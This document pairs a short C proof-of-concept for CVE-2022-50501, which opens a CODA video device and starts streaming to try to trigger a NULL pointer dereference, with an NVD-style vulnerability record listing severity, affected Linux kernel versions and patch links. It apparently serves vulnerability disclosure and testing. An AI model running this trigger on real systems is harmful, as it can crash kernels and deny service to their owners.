CVE-2022-50501

/* CVE-2022-50501 PoC - Trigger NULL pointer dereference in coda driver */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/videodev2.h> /* * This PoC attempts to trigger the NULL pointer dereference in the * Linux kernel coda driver by opening the video device and initiating * a decoding operation that requires IRAM allocation. * * The vulnerability exists when dcoda_iram_alloc() returns NULL * and the return value is not checked before use. */ int main(int argc, char *argv[]) { int fd; struct v4l2_format fmt; /* Open the CODA video device */ fd = open("/dev/video0", O_RDWR); if (fd < 0) { perror("Failed to open video device"); return -1; } /* Set format to trigger IRAM allocation path */ fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT; fmt.fmt.pix.width = 1920; fmt.fmt.pix.height = 1080; fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_H264; if (ioctl(fd, VIDIOC_S_FMT, &fmt) < 0) { perror("Failed to set format"); close(fd); return -1; } /* Attempt to start streaming to trigger IRAM allocation */ /* In vulnerable kernels, this may trigger NULL pointer dereference */ enum v4l2_buf_type type = V4L2_BUF_TYPE_VIDEO_OUTPUT; if (ioctl(fd, VIDIOC_STREAMON, &type) < 0) { perror("Failed to start streaming"); } close(fd); return 0; }

{"cve": {"id": "CVE-2022-50501", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:47.267", "lastModified": "2026-01-22T19:45:11.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: coda: Add check for dcoda_iram_alloc\n\nAs the coda_iram_alloc may return NULL pointer,\nit should be better to check the return value\nin order to avoid NULL poineter dereference,\nsame as the others."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.17", "versionEndExcluding": "4.9.337", "matchCriteriaId": "B7EF8E11-E86A-4589-B58E-F3C92B0D8A2B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.10", "versionEndExcluding": "4.14.303", "matchCriteriaId": "1E7450AD-4739-46F0-B81B-C02E7B35A97B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.270", "matchCriteriaId": "AE8904A3-99BE-4E49-9682-1F90A6373F4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.229", "matchCriteriaId": "A0C0D95E-414A-445E-941B-3EF6A4D3A093"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.163", "matchCriteriaId": "D05D31FC-BD74-4F9E-B1D8-9CED62BE6F65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.86", "matchCriteriaId": "47237296-55D1-4ED4-8075-D00FC85A61EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.16", "matchCriteriaId": "C720A569-3D93-4D77-95F6-E2B3A3267D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/05f165ded4a7baec31b65aba88e2cd1fb9b91db2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2b436f1410245412ea5e4c356a175a928d73eed3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2c6887d5a29024bada6928d1d0959c9990401384", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/35ddd00b36589cf948875b825eedaab1aefd5ad5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/45f57abaee136a1e39d2b04443a1bd5311ba7d94", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/532417dc98cb9c1185ada4ea4e7ccf965c06bcb5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5688d33aa293dfa122d66bef9c0258ddf7ef11e7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6b8082238fb8bb20f67e46388123e67a5bbc558d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b99872178e7473f21904fdeea38109275aad8ae8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}